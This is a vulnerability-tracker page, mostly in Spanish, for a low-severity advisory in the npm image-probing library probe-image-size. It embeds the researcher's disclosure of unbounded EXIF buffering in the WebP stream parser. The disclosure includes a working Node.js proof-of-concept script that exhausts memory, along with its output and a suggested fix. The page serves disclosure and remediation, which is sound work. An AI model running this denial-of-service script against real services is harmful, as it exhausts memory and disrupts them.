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Advisory · GitHub · npm · probe-image-size

GHSA-5V8X-RM7W-M4C7

probe-image-size WebP stream parser buffers an attacker-declared EXIF chunk without limit

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Parche disponible
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CVSS 3.1
3.7
Baja
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición25 dDesde la divulgación, 26 oct 2026, 5:43 p. m.
Detección23 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Modo siesta en el páramo activado.Te ganaste un descanso. Esta no es urgente.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 7.5.0
Monitoreo
Detectada +1
26 oct 26
19 nov 26
21 nov 26
26 oct 26
2 nov 26
8 nov 26
15 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5V8X-RM7W-M4C7 divulgada · CVSS 3.7 (GitHub)
Remediación Parche 7.5.0 probe-image-size · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone.

Found with AploSec, our security scanner, and confirmed by execution.

## Summary
In the stream and URL paths, a WebP file that declares an EXIF chunk of length 0xFFFFFFF0 makes the parser buffer every byte it receives while waiting for that chunk, and the probe never resolves. In the test, 1,500 MB sent gave 1,564 MB of resident memory.

## Affected versions
- probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.

## Details
`lib/parse_stream/webp.js:91` (`parseExif`). After the `VP8X` header, the parser reads the `EXIF` chunk with `parser._bytes(length)`, where `length` is the 32-bit size taken from the file. There is no upper bound, so the stream parser accumulates data until that many bytes have arrived. `probe.sync` is not affected because it works on a buffer the caller already holds.

Attacker model: remote and unauthenticated. The attacker controls the image stream, most realistically by serving it from a URL that the target passes to `probe(url)`.

## Proof of concept
`poc4.js` (`node poc4.js attack 1500` or `node poc4.js control 1`):

// unbounded buffering of declared EXIF chunk (webp). arg: attack|control, MB to send
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32LE(n >>> 0); return b }
const vp8x = Buffer.concat([Buffer.from('VP8X'), u32(10), Buffer.from([8, 0, 0, 0, 9, 0, 0, 9, 0, 0])]) // 10x10 + EXIF flag
const declared = mode === 'attack' ? 0xFFFFFFF0 : 64
const head = Buffer.concat([Buffer.from('RIFF'), u32(0xFFFFFFF0), Buffer.from('WEBP'), vp8x, Buffer.from('EXIF'), u32(declared)])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const mb = () => (process.memoryUsage().rss / 1048576).toFixed(0)
const t = setInterval(() => {
  if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${mb()}MB resolved=${done}`); process.exit(0) }
  ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)

Test environment: Docker `node:22-slim` (Node 22.23.4), `npm i probe-image-size@7.4.0` (and 7.3.0 in `./old` where noted), runs with `docker run --rm --network none`.

Control: the same stream with a declared EXIF length of 64 resolves at once with the right size, memory flat:

RESOLVED {"width":10,"height":10,"type":"webp","mime":"image/webp","wUnits":"px","hUnits":"px"}
control: sent=1MB rss=57MB resolved=true

Attack:

attack: sent=1500MB rss=1564MB resolved=false

## Impact
Low. Memory grows one to one with the bytes the attacker actually sends, so there is no amplification. But the probe never resolves or rejects on its own, and the library otherwise reads only a small header, so callers do not expect it to hold hundreds of megabytes. On the URL path the needle read timeout is idle based, so a server that keeps sending is never cut off. The realistic attacker is a malicious HTTP server behind a URL the target is asked to probe (link previews, avatar or image URL fields). Several such connections can exhaust the process's memory.

## Suggested fix
Reject or skip EXIF chunks whose declared size is above a sane maximum (for example 64 KiB, since only the orientation tag is needed) before calling `parser._bytes(length)`.

Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)

Credit: Zachariah Mithani (@zachariah-mithani, AploSec)

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:L
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
probe-image-size≤ 7.4.0
7.4.0
7.5.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmprobe-image-size
Corregida 7.5.0 0 d 7.5.0 no afectada
Versiones corregidas7.5.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nodeca/probe-image-size/security/advisories/GHSA-5v8x-rm7w-m4c7

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.